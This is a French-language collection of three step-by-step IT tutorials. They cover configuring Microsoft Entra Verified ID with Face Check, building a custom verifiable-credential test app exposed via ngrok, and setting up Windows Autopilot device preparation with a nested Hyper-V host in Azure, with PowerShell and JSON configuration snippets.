Entra Verified ID + Face Check

La vérification faciale est une solution qui existe chez plusieurs éditeurs et qui compare des visages tout en respectant la vie privée. Elle aide les entreprises à vérifier l’identité des personnes de manière sécurisée et efficace. Par exemple, une banque peut l’utiliser pour s’assurer que la personne ouvrant un compte est bien celle qu’elle prétend déclarer. Mais peut-on combiner cette fonctionnalisé avec Entra Verified ID ?

La réponse est oui :

La correspondance faciale est alimentée par Azure AI services. En partageant uniquement les résultats de correspondance et non les données d’identité sensibles, Vérification faciale protège la confidentialité des utilisateurs tout en permettant aux organisations de s’assurer que la personne est bien qui elle prétend être.

Microsoft Learn

Combinée à Entra Verified ID, Face check permettra alors une expérience plus rapide dans le partage d’une identité :

La documentation Microsoft explique d’ailleurs très bien le concept et l’intégration dans une application, mais également une FAQ disponible juste ici.

Vérification faciale vs Face ID ?

Face ID est une offre d’option de sécurité biométrique basée sur la vision pour les produits Apple pour déverrouiller un appareil en vue d’accéder à une application mobile. Vérification faciale est une fonctionnalité de Vérification d’identité Microsoft Entra qui utilise également la technologie IA basée sur la vision, mais compare l’utilisateur au justificatif Vérification d’identité présenté… Les deux mécanismes requièrent que l’utilisateur soit face à une caméra dans le processus, mais fonctionne de différentes manières.

Microsoft Learn


Mais qu’advient-il des données liées aux images ?

Les données ne sont ni stockées ni conservées par aucun des services Microsoft Authenticator, Vérification d’identité ou Azure AI. En outre, les images ne sont pas non plus partagées avec l’application de vérificateur. L’application de vérificateur obtient uniquement le score de confiance en retour.

Dans un système basé sur l’IA, le score de confiance est la réponse de pourcentage de probabilité pour une requête au système. Pour ce scénario, le score de confiance est la probabilité que la photo du justificatif de l’utilisateur Vérification d’identité corresponde à la capture de l’utilisateur sur l’appareil mobile.

Microsoft Learn

Comme toujours, je vous propose de suivre ensemble ce pas à pas dans le but de tester ce tutoriel Microsoft :

Etape 0 – Rappel des prérequis :

Afin de tester la fonctionnalité Face Check disponible sur les identités vérifiées via Entra ID nous allons avoir besoin de :

  • Un tenant Microsoft active
  • Une souscription Azure active

Commençons par configurer notre tenant afin de pouvoir générer des identités vérifiées personnalisées.

Etape I – Configuration du tenant :

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route des identités vérifiées.

Deux options de mise en place s’offrent alors à vous :

Pour cette démonstration de Face Check, choisissez la configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour ce service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Afin de configurer Face Check, nous avons besoin de créer un groupe de ressources Azure. Rendez-vous sur le portail Azure, puis cliquez ici :

Cliquez ici pour créer un nouveau groupe de ressources Azure :

Renseignez les informations de base pour ce groupe de ressources, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création du groupe de ressources :

Retournez sur le portail d’Entra ID afin d’activer l’addon Face Check :

Prenez le temps de lire les conditions tarifaires de Face Check, dont le prix sera appliqué à partir du 12 août 2024 :

Renseignez vos informations Azure concernant le groupe de ressources créé précédemment, puis cliquez sur Valider :

Une fois la validation Azure réussie, cliquez sur Activer :

La notification Entra suivante apparaît alors :

La configuration du service Verified ID destiné à Face Check est maintenant terminée. Nous allons avoir maintenant besoin de créer un utilisateur de test.

Etape II – Création d’un utilisateur de test :

Toujours sur le portail Entra, créez un nouvel utilisateur Entra ID :

Renseignez les informations de base de cet utilisateur, puis cliquez sur Suivant :

Renseignez également une adresse de messagerie :

Renseignez également un pays de localisation, puis lancez la validation Entra :

Lancez la création de votre utilisateur de test :

La notification Entra suivante apparaît alors :

Une fois l’utilisateur de test créé, ajoutez une photo de vous sur le profil de ce dernier :

Ouvrez le navigateur de votre choix en mode privé :

Ouvrez la page Mon compte de Microsoft, puis authentifiez-vous avec votre utilisateur de test :

A votre première connexion, personnalisez son mot de passe :

Cliquez ici afin d’obtenir une identité vérifiée :

Microsoft génère alors un QR code pour générer et stocker une identité vérifiée dans l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, ouvrez Microsoft Authenticator, puis cliquez ici pour scanner le QR Code :

Confirmez l’ajout de votre identité vérifiée en cliquant sur Ajouter :

Sur votre smartphone, un clic sur votre identité vérifiée affiche les informations stockées dans cette dernière, dont votre photo :

Une première activité correspondante à la réception de cette identité vérifiée est visible juste ici :

Cette nouvelle identité vérifiée rejoint les autres déjà en place dans Microsoft Authenticator :

La prochaine étape sera de créer une application de test pour vérifier le bon fonctionnement de Face Check pour notre nouvel utilisateur.

Si vous ne souhaitez pas déployer d’application sur Azure, vous pouvez également utiliser celle mise à disposition par Microsoft.

Etape III – Création d’une application de test :

Sur la portail Entra, copiez votre DID afin de la configurer plus tard dans l’application :

Rendez-vous sur la page GitHub suivante, puis déployez l’application sur votre tenant par ce lien :

Renseignez les 2 champs suivants, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources :

Attendez environ 5 minutes la fin du déploiement Azure, qui devrait peut-être présenter l’erreur non bloquante suivante, puis cliquez ici pour continuer :

Vérifiez que l’application déployée dispose bien de sa propre identité :

Copiez le script ci-dessous dans un éditeur de texte en prenant soin de renseigner les deux informations suivantes propres à votre déploiement :

  • Votre tenant ID
  • Le nom de votre application de test déployé
$TenantID="<YOUR TENANTID>"
$YourAppName="<NAME OF YOUR AZURE WEBAPP>"

#Do not change this values below
#
$ApiAppId = "3db474b9-6a0c-4840-96ac-1fceb342124f"
$PermissionName = "VerifiableCredential.Create.PresentRequest"
 
# Install the module
Install-Module AzureAD

Connect-AzureAD -TenantId $TenantID

$MSI = (Get-AzureADServicePrincipal -Filter "displayName eq '$YourAppName'")

Start-Sleep -Seconds 10

$ApiServicePrincipal = Get-AzureADServicePrincipal -Filter "appId eq '$ApiAppId'"
$AppRole = $ApiServicePrincipal.AppRoles | Where-Object {$_.Value -eq $PermissionName -and $_.AllowedMemberTypes -contains "Application"}
New-AzureAdServiceAppRoleAssignment -ObjectId $MSI.ObjectId -PrincipalId $MSI.ObjectId ` -ResourceId $ApiServicePrincipal.ObjectId -Id $AppRole.Id

Toujours sur le portail Azure, ouvrez par ce bouton Azure Cloud Shell :

Exécutez le script précédemment modifié, puis attendez le résultat suivant :

Retournez sur le portail Entra, puis recherchez votre application de test :

Vérifiez la présence de la permission suivante nécessaire à la gestion des identités vérifiées :

Tout est maintenant en place, il nous reste qu’à tester notre application.

Etape IV – Test application via Face Check :

Retournez sur le portail Azure afin de copier l’URL web de votre application de test :

Ouvrez un nouvel onglet vers cette URL de test, puis cliquez ici :

Votre application génère alors un QR code à scanner :

Depuis votre smartphone, ouvrez Microsoft Authenticator afin de scanner le QR code :

Confirmez votre action de partage de votre identité vérifiée avec votre application de test en cliquant sur Suivant :

Cliquez sur Suivant pour démarrer la vérification avec votre visage :

Suivez les indications de l’application afin de valider l’opération Face Check :

Le message suivant vous confirme le succès de la vérification Face Check :

Cliquez à nouveau sur Partager pour confirmer l’action :

Votre application web vous confirme bien le succès du partage et le score retourné par la fonction Face Check :

Une nouvelle activité Woordgrove Helpdesk s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Custom Entra Verified ID

Pour continuer sur le sujet des identités vérifiées disponibles sur Microsoft Entra (dont un premier article est disponible juste ici), je vous propose dans ce second de suivre un tutoriel élaboré par Microsoft qui est assez intéressant : Il s’agit de créer votre propre système d’identité vérifié personnalisé.

Apprenez à émettre et à vérifier des informations d’identification à l’aide du même locataire Microsoft Entra… Dans ce tutoriel, vous passez en revue les étapes nécessaires à la présentation et à la vérification de votre premier justificatif vérifiable : une carte d’expert en justificatif vérifié.

Microsoft Learn

Microsoft nous montre au travers de ce schéma le fonctionnement d’une application tierce et des interactions avec le service Entra Verified ID de notre tenant :

Comme toujours, je vous propose de suivre ensemble ce pas à pas dans le but de tester ce tutoriel :

Etape 0 – Rappel des prérequis :

Afin de tester l’intégration des identités vérifiées personnalisées au sein d’une application de test, nous allons avoir besoin de :

Commençons par configurer notre tenant afin de pouvoir générer des identités vérifiées personnalisées.

Etape I – Configuration du tenant :

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route des identités vérifiées.

Deux options de mise en place s’offrent alors à vous :

Pour cette démonstration, choisissez la Configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour votre service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Microsoft Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Etape II – Préparation du poste :

Comme le préconise le tutoriel de Microsoft, installez Visual Studio Code ou un éditeur de code similaire :

Téléchargez puis installez la version 6.0 de .NET, disponible via ce lien officiel :

Afin de publier votre application sur une URL internet, téléchargez ngrok, puis inscrivez-vous chez eux avec un compte gratuit :

Sur leur site, téléchargez l’installateur de ngrok :

Copiez la commande suivante affichée sous l’installateur pour configurer votre ngrok :

Depuis le dossier de téléchargement, ouvrez une invite de commande, puis lancez celle-ci afin de préparer votre configuration ngrok :

Le poste local et le tenant Microsoft sont maintenant correctement configurés, la prochaine étape consiste à créer une justificatif vérifiable personnalisé (pouvant générer des identités vérifiées) sur votre tenant.

Etape III – Création d’un justificatif vérifiable personnalisé :

Depuis le portail Microsoft Entra, cliquez ici pour ajouter un Justificatif vérifiable personnalisé :

Sélectionnez Informations d’identification personnalisée, puis cliquez sur Suivant :

Nommez votre Justificatif vérifiable comme ceci :

Dans la première section destinée aux propriétés d’affichage, remplacez le code existant par celui-ci :

{
    "locale": "en-US",
    "card": {
      "title": "Verified Credential Expert",
      "issuedBy": "Microsoft",
      "backgroundColor": "#000000",
      "textColor": "#ffffff",
      "logo": {
        "uri": "https://didcustomerplayground.blob.core.windows.net/public/VerifiedCredentialExpert_icon.png",
        "description": "Verified Credential Expert Logo"
      },
      "description": "Use your verified credential to prove to anyone that you know all about verifiable credentials."
    },
    "consent": {
      "title": "Do you want to get your Verified Credential?",
      "instructions": "Sign in with your account to get your card."
    },
    "claims": [
      {
        "claim": "vc.credentialSubject.firstName",
        "label": "First name",
        "type": "String"
      },
      {
        "claim": "vc.credentialSubject.lastName",
        "label": "Last name",
        "type": "String"
      }
    ]
}

Dans la seconde section destinée à la Définition de règles, remplacez le code existant par celui-ci, puis cliquez sur Créer :

{
  "attestations": {
    "idTokenHints": [
      {
        "mapping": [
          {
            "outputClaim": "firstName",
            "required": true,
            "inputClaim": "$.given_name",
            "indexed": false
          },
          {
            "outputClaim": "lastName",
            "required": true,
            "inputClaim": "$.family_name",
            "indexed": true
          }
        ],
        "required": false
      }
    ]
  },
  "validityInterval": 2592000,
  "vc": {
    "type": [
      "VerifiedCredentialExpert"
    ]
  }
}

Une fois la configuration terminée, une notification Microsoft Entra apparaît :

Le Justificatif vérifiable est maintenant créé. Ses informations de base sont disponibles sur cette page :

Copiez l’URL du manifeste afin de la configurer plus tard dans votre application :

Copiez votre DID afin de la configurer plus tard dans votre application :

Copiez votre tenant ID afin de la configurer plus tard dans votre application :

L’environnement côté Microsoft Entra est maintenant en place. Pour que notre application fonctionne, il est nécessaire renseigner les informations de connexion précédemment copiées.

Etape IV – Création de l’application :

Téléchargez l’archive ZIP de l’application de test disponible sur ce lien GitHub :

Une fois l’archive ZIP téléchargée, débloquez cette dernière par un clic droit sur celle-ci, puis cliquez sur OK :

Lancez l’extraction de l’archive dans le répertoire de votre choix :

Retournez sur le portail de Microsoft Entra ID afin de créer une nouvelle inscription d’application :

Nommez votre application comme ceci, configurez la pour fonctionner uniquement sur votre tenant, puis cliquez sur Enregistrer :

Cliquez sur le menu suivant afin d’ajouter des permissions à votre application :

Ajoutez la permission API suivante utilisée par votre organisation :

Sélectionnez cette permission API, puis cliquez sur Ajouter :

Ajoutez un consentement global de l’administrateur pour votre tenant :

Confirmez votre action en cliquant sur Oui :

Copiez l’ID de votre d’application afin de la configurer plus tard dans votre application :

Cliquez sur le menu suivant afin de créer un secret pour votre application :

Nommez votre secret, puis cliquez sur Ajouter :

Une fois créé, copiez la valeur de votre secret afin de la configurer plus tard dans votre application :

Ouvrez votre éditeur de code local :

Ouvrez le dossier correspondant au dossier contenant l’extraction de l’archive ZIP :

Confirmez votre confiance dans ce répertoire :

Dans le dossier 1.asp-net-core-api-idtokenhint, ouvrez le fichier appsettings.json, puis mettez à jour les propriétés suivantes avec les informations que vous avez copiées lors des étapes précédentes :

  • Manifeste des informations d’identification : l’URL de votre manifeste
  • ID de locataire : votre ID de votre tenant
  • ID client : votre ID de votre inscription d’application
  • Secret client : votre secret client de votre inscription d’application
  • DidAuthority : votre identificateur décentralisé

Retirez les 2 commentaires présents dans ce même fichier :

Sauvegardez le fichier appsettings.json :

Ouvrez une première fenêtre Windows Terminal, positionnez-vous dans le dossier contenant l’extraction de l’archive ZIP, puis saisissez la commande suivante :

dotnet build "AspNetCoreVerifiableCredentials.csproj" -c Debug -o .\bin\Debug\net6.

Une fois la compilation terminée, démarrez votre application via la commande suivante :

dotnet run

Une fois l’application démarrée, ouvrez une seconde fenêtre Windows Terminal, puis saisissez la commande suivante afin d’exposer votre application locale au travers de ngrok :

.\ngrok http 5000

Une fois votre application exposée, copiez l’URL générée par ngrok :

Tout l’environnement de test est maintenant en place, il nous reste qu’à tester le fonctionnement du service personnalisé d’identité vérifiée.

Etape V – Test d’émission d’une identité vérifiée :

Ouvrez un navigateur privé, collez l’URL ngrok précédemment copiée, puis confirmez la navigation en cliquant ici :

Votre application doit ressembler à ceci :

Cliquez ici afin d’obtenir une identité vérifiée :

Confirmez votre action en cliquant ici :

L’application génère alors un QR code pour stocker une identité vérifiée dans l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, ouvrez Microsoft Authenticator, puis cliquez ici pour scanner le QR Code :

Saisissez le code de vérification visible sous le QR code de votre application, puis cliquez sur Suivant :

Confirmez l’ajout de votre identité vérifiée en cliquant sur Ajouter :

L’application confirme bien le stockage sur l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, un clic sur votre identité vérifiée affiche les informations stockées dans cette dernière :

Une première activité correspondante à la réception de cette identité vérifiée est visible juste ici :

Cette nouvelle identité vérifiée rejoint les autres déjà en place dans Microsoft Authenticator :

La prochaine étape consiste à vérifier sa validité au travers de la seconde fonctionnalité de votre application.

Etape VI – Test de la vérification d’une identité vérifiée :

Retournez sur page principale de votre application, puis cliquez ici :

Cliquez ici pour confirmer votre action :

La vérification d’une identité vérifiée passe par le scan d’un QR code :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivante pour scanner le QR code généré par votre application :

Votre application vous indique que la vérification de l’identité vérifiée a bien fonctionné :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Autopilot v2 💪💻🚨

Vous commencez enfin à maîtriser le service Autopilot de Microsoft et vous vous en servez déjà pour déployer vos postes ? Cela tombe très bien ! Microsoft vient justement de sortir il y a quelques mois la Préparation de l’appareil Windows Autopilot. Peut-on parler de cette nouvelle fonctionnalité comme d’un Autopilot en version 2 ? Oui et non, mais cela va encore plus démocratiser Intune auprès des services IT.

Cet article est donc une suite logique à un autre article détaillant la méthode Autopilot v1, déjà en place depuis assez longtemps. Au travers de ce nouvel écrit, nous allons tester l’intégration d’un PC via cette nouvelle méthode Autopilot v2, dont le nom officiel chez Microsoft est Préparation de l’appareil Windows Autopilot.

Quelles sont les différences entre Autopilot v1 et Autopilot v2 ?

Le fait de les appeler v1 et v2 un choix personnel afin de gagner en clarté, ce qui ne veut pas dire que la seconde est un remplacement complet de la première. Voici d’ailleurs une comparaison v1/v2 rédigée par Microsoft :

FonctionnalitéWindows Autopilot
préparation de l’appareil
(Autopilot v2)
Windows Autopilot (Autopilot v1)
FonctionnalitésPrise en charge des environnements Government Community Cloud High (GCCH) et ministère de la Défense (DoD). Expérience d’approvisionnement plus rapide et plus cohérente. Informations de surveillance et de résolution des problèmes en quasi-temps réel.Prise en charge de plusieurs types d’appareils (HoloLensSalle de réunion Teams). De nombreuses options de personnalisation pour l’expérience d’approvisionnement.
Modes pris en chargePiloté par l’utilisateur;Piloté par l’utilisateur; Préprovisionné. Déploiement automatique. Appareils existants.
Types de jointure pris en chargeRejoindre Microsoft Entra.Rejoindre Microsoft Entra.
Jointure hybride Microsoft Entra.
Inscription de l’appareil requise ?Non.Oui.
Que doivent configurer les administrateurs ?Stratégie de préparation des appareils Windows Autopilot. Groupe de sécurité de l’appareil avec le client d’approvisionnement Intune en tant que propriétaire.Profil de déploiement Windows Autopilot. Page d’état d’inscription (ESP).
Quelles configurations peuvent être fournies lors de l’approvisionnement ?Basé sur l’appareil uniquement pendant l’expérience out-of-box (OOBE).Jusqu’à 10 applications essentielles (métier), Win32, Microsoft Store, Microsoft 365). Jusqu’à 10 scripts PowerShell essentiels.Basé sur l’appareil pendant l’ESP de l’appareil. Basé sur l’utilisateur pendant l’ESP utilisateur. N’importe quel nombre d’applications.
Résolution des problèmes de création de rapports &Rapport de déploiement de la préparation de l’appareil Windows Autopilot : Affiche tous les déploiements de préparation des appareils Windows Autopilot. Davantage de données disponibles. Quasiment en temps réel.Rapport de déploiement Windows Autopilot : Affiche uniquement les appareils inscrits sur Windows Autopilot. Pas en temps réel.
Prend en charge les applications métier et Win32 dans le même déploiement ?Oui.Non.
Versions prises en charge de WindowsWindows 11, version 23H2 avec KB5035942 ou version ultérieure. Windows 11, version 22H2 avec KB5035942 ou version ultérieure.Toutes les versions actuellement prises en charge du canal de disponibilité générale De Windows 11.Toutes les versions actuellement prises en charge du canal de disponibilité générale Windows 10.

Mais cette nouvelle méthode pourrait correspondre à certains scénarios comme le suggère Microsoft :

Conditions requisesWindows Autopilot
préparation de l’appareil
(Autopilot v2)
Windows Autopilot
(Autopilot v1)
Government Community Cloud High (GCCH) et
Environnements du ministère de la Défense (DoD)
Scénario piloté par l’utilisateur
Scénario pré-provisionné
Scénario de déploiement automatique
Scénario d’appareils existants
Prise en charge de la réinitialisation d’Autopilot
Jonction Microsoft Entra
Jonction Microsoft Entra hybride
Réinitialisation de Windows Autopilot
Windows 11
Windows 10
Déployer des applications Win32 et métier
dans le même déploiement
Configuration et expérience de déploiement plus simples
Personnalisation étendue du déploiement
et expérience OOBE
Aucune exigence de pré-phaser les appareils
Installer plus de 10 applications pendant OOBE
Exécuter plus de 10 scripts PowerShell pendant OOBE
Surveillance en quasi-temps réel
Empêcher l’utilisateur d’accéder au Bureau jusqu’à ce que
les configurations basées sur l’utilisateur sont appliquées
Prise en charge d’HoloLens
Prise en charge des salles de réunion Teams
Interface de configuration du microprogramme d’appareil
(DFCI) Prise en charge de la gestion
Autopilot dans la cogestion

Pourquoi changer ce qui marche déjà ?

Comme le rappel l’excellent billet écrit sur le site de Synapsys, Microsoft a souhaité faire évoluer son service Autopilot créé en 2017 afin de pouvoir supporter un plus grand nombre d’appareils. Cela va permettre de gérer le provisionnement des Cloud PC Windows 365 ou pour des clients dont le tenant est sur une instance Gov du Cloud Microsoft :

Windows Autopilot Device Preparation vise à simplifier encore plus le déploiement des périphériques, en optimisant le temps global de préparation de celui-ci et en améliorant notamment la résolution des problématiques qui peuvent survenir pendant le déploiement ainsi que le reporting. 

Synapsys-groupe

Et bien sûr, plus besoin du hash 😎 :

La grosse nouveauté comparée à Windows Autopilot est qu’il n’est plus nécessaire d’importer le hash matériel pour pouvoir bénéficier du service. Autre nouveauté, le profil de déploiement sera à déployer sur un profil utilisateur et non machine. 

Synapsys-groupe

Ai-je besoin de licences spécifiques pour Autopilot v2 ?

Comme il est rappelé dans la documentation Microsoft, Autopilot v2 a besoin des mêmes licences que pour Autopilot v1. Voici une liste non exhaustive de licences ou combinaison de licences possibles :

  • Licence Microsoft 365 Business Premium
  • Licence Microsoft 365 F1 ou F3
  • Licence Microsoft 365 Academic A1, A3 ou A5
  • Licence Microsoft 365 Entreprise E3 ou E5
  • Licence Enterprise Mobility + Security E3 ou E5
  • Licence Intune pour l’éducation
  • Licence ID Microsoft Entra P1 ou P2 + Licence Microsoft Intune

Afin de se faire une meilleure idée sur Autopilot v2, je vous propose un petit exercice à réaliser sur une souscription Azure.

Dans cet exercice, nous allons effectuer les étapes suivantes :

Microsoft a même mis à disposition un très bon tutoriel pour Autopilot v2 juste ici :

Etape 0  –  Rappel des prérequis :

Afin de tester la fonctionnalité d’intégration proposée via Autopilot v2, nous allons avoir besoin de :

  • Un tenant Microsoft
  • Une souscription Azure valide
  • Une ou des licences contenant Intune et Azure AD Premium P1
  • Une Image OS de Windows 11, version 22H2 ou 23H2 générée après avril 2024 ou avec le KB5035942

Etape I – Configurer l’inscription automatique Windows à Intune :

Commençons par la configuration sur Entra ID.

Pour que la préparation des appareils Windows Autopilot (Autopilot v2) fonctionne, les appareils doivent être en mesure de s’inscrire automatiquement dans Intune. L’inscription automatique des appareils dans Intune peut être configurée automatiquement dans le portail Azure

Microsoft Learn

La méthode d’inscription à Intune avec Autopilot v2 ne diffère pas de la première : il est nécessaire de configurer une inscription automatique à Intune depuis le portail Entra ID.

Pour cela, rendez-vous dans le menu suivant d’Entra ID, puis cliquez sur cela :

Définissez le périmètre de l’inscription automatique MDM à Intune, puis cliquez sur Sauvegarder :

Restons sur le portail d’Entra ID afin d’autoriser les utilisateurs à joindre des machines à Intune.

Etape II – Autoriser les utilisateurs à joindre des appareils :

Pour rappel, il existe plusieurs types de jointures possibles à Entra ID, dont voici un lien vers un précédent article. Avec Autopilot v2, les utilisateurs ont toujours besoin d’être autorisé à joindre des postes à Entra ID.

Pour que la préparation des appareils Windows Autopilot fonctionne, les utilisateurs doivent être autorisés à joindre des appareils à l’ID Microsoft Entra.

Microsoft Learn

Pour cela, rendez-vous dans le menu suivant d’Entra ID, puis activez cette option :

Continuons avec la création d’un premier groupe Entra ID dédié aux postes Intune.

Etape III – Créer un groupe d’appareils Entra ID :

La préparation des appareils Windows Autopilot utilise un groupe d’appareils dans le cadre de la stratégie de préparation des appareils Windows Autopilot. Le groupe d’appareils spécifié dans la stratégie de préparation des appareils Windows Autopilot est le groupe d’appareils dans lequel les appareils sont ajoutés automatiquement pendant le déploiement de la préparation de l’appareil Windows Autopilot

Microsoft Learn

Pour cela, rendez-vous dans le menu suivant d’Entra ID, puis créer un groupe dédié aux appareils automatiquement inscrits par Autopilot v2 :

Ajoutez le propriétaire Intune Provisioning Client ou avec son principal de service dont l’ID est le suivant : f1346770-5b25-470b-88bd-d5744ab7952c :

N’ajoutez aucun membre manuellement, puis cliquez sur Créer :

Continuons avec la création d’un second groupe Entra ID dédié aux utilisateurs Intune.

Etape IV – Créer un groupe d’utilisateurs Entra ID :

La préparation de l’appareil Windows Autopilot utilise un groupe d’utilisateurs dans le cadre de la stratégie de préparation des appareils Windows Autopilot. Les utilisateurs membres du groupe d’utilisateurs spécifié dans la stratégie de préparation de l’appareil Windows Autopilot sont les utilisateurs qui reçoivent le déploiement de la préparation de l’appareil Windows Autopilot.

Microsoft Learn

Pour cela, restez sur le même menu qui précédemment d’Entra ID, puis créer un second groupe cette fois dédié aux utilisateurs concernés par le processus Autopilot v2 :

Ajoutez des membres manuellement ou dynamiquement en correspondance avec vos utilisateurs Autopilot v2, puis cliquez sur Créer :

Continuons avec la configuration de postes sous Intune.

Etape V – Affectation de la configuration Intune :

Pendant l’expérience OOBE (out-of-box experience) avant que l’utilisateur final ne soit connecté pour la première fois, la préparation de l’appareil Windows Autopilot permet de déployer jusqu’à :

  • 10 applications managées
  • 10 scripts PowerShell

Pour que les applications s’installent et que les scripts PowerShell fonctionnent correctement, ils doivent être affectés au groupe d’appareils créé pour la préparation des appareils Windows Autopilot.

Microsoft Learn

J’ai souhaité dans mon cas créer différents scénarios d’installation d’applications :

  • Applications intégrées au processus Autopilot v2 :
    • Microsoft Company Portal (Windows Store)
    • Global Secure Access (EXE)
  • Applications obligatoires pour les postes Intune :
    • Google Chrome (MSI)
    • Microsoft 365 Apps (Microsoft 365 Apps)
  • Applications disponibles pour les utilisateurs Intune :
    • Adobe Acrobat Reader DC (Windows Store)
    • Mozilla Firefox (Windows Store)
    • Notepad X (Windows Store)

Pour cela, rendez-vous dans le menu suivant d’Intune, puis rajoutez vos applications concernées :

J’ai également rajouté un script PowerShell, mais que je ne souhaite pas intégrer dans le processus Autopilot v2 car les applications installées ou les scripts PowerShell qui s’exécuteront systématiquement dans un contexte système.

Il ne nous reste maintenant qu’à créer la stratégie de préparation des appareils Windows Autopilot.

Etape VI – Création de la stratégie de préparation des appareils Windows Autopilot :

La stratégie Autopilot spécifie la façon dont l’appareil est configuré pendant l’installation de Windows et ce qui est affiché pendant l’expérience OOBE (out-of-box experience).

Microsoft Learn

Pour cela, rendez-vous dans le menu suivant d’Intune, puis cliquez sur le menu suivant :

Cliquez sur Créer :

Cliquez sur Suivant :

Nommez votre profil, puis cliquez sur Suivant :

Ajoutez le groupe dédié aux postes Intune via Autopilot v2, puis cliquez sur Suivant :

Définissez les paramètres de configuration Autopilot v2 :

Personnalisez l’expérience OOBE :

Ajoutez les applications intégrées dans le processus Autopilot v2 :

Ajoutez si besoin les scripts intégrés dans le processus Autopilot v2, puis cliquez sur Suivant :

Modifiez les tags au besoin, puis cliquez sur Suivant :

Ajoutez le groupe dédié aux utilisateurs Intune via Autopilot v2, puis cliquez sur Suivant :

Cliquez sur Sauvegarder :

La configuration Autopilot v2 est maintenant terminée, il ne nous reste qu’à créer une machine virtuelle Hyper-V sur Azure pour ensuite créer des machines sous Windows 11.

Etape VII – Préparation de la machine virtuelle hôte Hyper-V :

Depuis le portail Azure, commencez par rechercher le service des machines virtuelles :

Cliquez ici pour créer votre machine virtuelle hôte (Hyper-V) :

Renseignez tous les champs, en prenant soin de bien sélectionner les valeurs suivantes :

Choisissez une taille de machine virtuelle présente dans la famille Dsv3, puis cliquez sur Suivant :

Rajoutez un second disque pour stocker la machine virtuelle Windows 11, créée plus tard dans notre machine virtuelle hôte (Hyper-V) :

Conservez les options par défaut, puis cliquez sur OK :

Cliquez ensuite sur Suivant :

Retirez l’adresse IP publique (pour des questions de sécurité), puis lancez la validation Azure :

Une fois la validation réussie, lancez la création des ressources Azure :

Quelques minutes plus tard, cliquez ici pour voir votre machine virtuelle Hyper-V :

Ensuite, cliquez-ici pour déployer le service Azure Bastion :

Attendez quelques minutes la fin du déploiement d’Azure Bastion, indispensable pour continuer les prochaines opérations :

Peu après, constatez le déploiement réussi d’Azure Bastion via la notification Azure suivante :

Renseignez les identifiants renseignés lors de la création de votre VM hôte (Hyper-V) :

Autorisez le fonctionnement du presse-papier pour Azure Bastion :

Une fois connecté sur votre machine virtuelle hôte (Hyper-V), ouvrez Windows PowerShell :

Exécutez la commande suivante pour installer les 2 rôles suivants :

  • Rôle DHCP
  • Rôle Hyper-V
Install-WindowsFeature -Name DHCP,Hyper-V  –IncludeManagementTools

Attendez environ une minute que l’installation des 2 rôles se termine :

Lancez la commande suivante pour lancer un redémarrage de votre VM Hyper-V :

Shutdown -R

Attendez environ 30 secondes que le redémarrage se termine pour se reconnecter à celle-ci, toujours via Azure Bastion :

Une fois la session Bastion rouverte, ouvrez PowerShell en mode ISE :

Lancez le script suivant afin de créer un switch virtuel dans Hyper-V, et de type interne :

$switchName = "InternalNAT"
New-VMSwitch -Name $switchName -SwitchType Internal
New-NetNat –Name $switchName –InternalIPInterfaceAddressPrefix “192.168.0.0/24”
$ifIndex = (Get-NetAdapter | ? {$_.name -like "*$switchName)"}).ifIndex
New-NetIPAddress -IPAddress 192.168.0.1 -InterfaceIndex $ifIndex -PrefixLength 24

Lancez le script suivant afin de configurer un périmètre DHCP avec une règle de routage, et le serveur DNS d’Azure :

Add-DhcpServerV4Scope -Name "DHCP-$switchName" -StartRange 192.168.0.50 -EndRange 192.168.0.100 -SubnetMask 255.255.255.0
Set-DhcpServerV4OptionValue -Router 192.168.0.1 -DnsServer 168.63.129.16
Restart-service dhcpserver

Depuis la console Server Manager, ouvrez Hyper-V Manager :

Ouvrez le menu suivant :

Contrôlez la présence de votre switch virtuel créé précédemment :

Ouvrez le Gestionnaire de disques depuis le menu démarrer afin de configurer le disque de données ajouté sur votre VM Hyper-V :

Dès l’ouverture du Gestionnaire de disques, cliquez sur OK pour démarrer l’initialisation du disque de données :

Sur celui-ci, créez un nouveau volume :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

L’environnement Hyper-V est maintenant en place. Nous allons pouvoir créer ensemble la machine virtuelle Windows 11.

Etape VIII – Création de la machine virtuelle Windows 11 :

Pour cela, il est nécessaire de récupérer une image au format ISO de Windows 11 afin d’y installer l’OS.

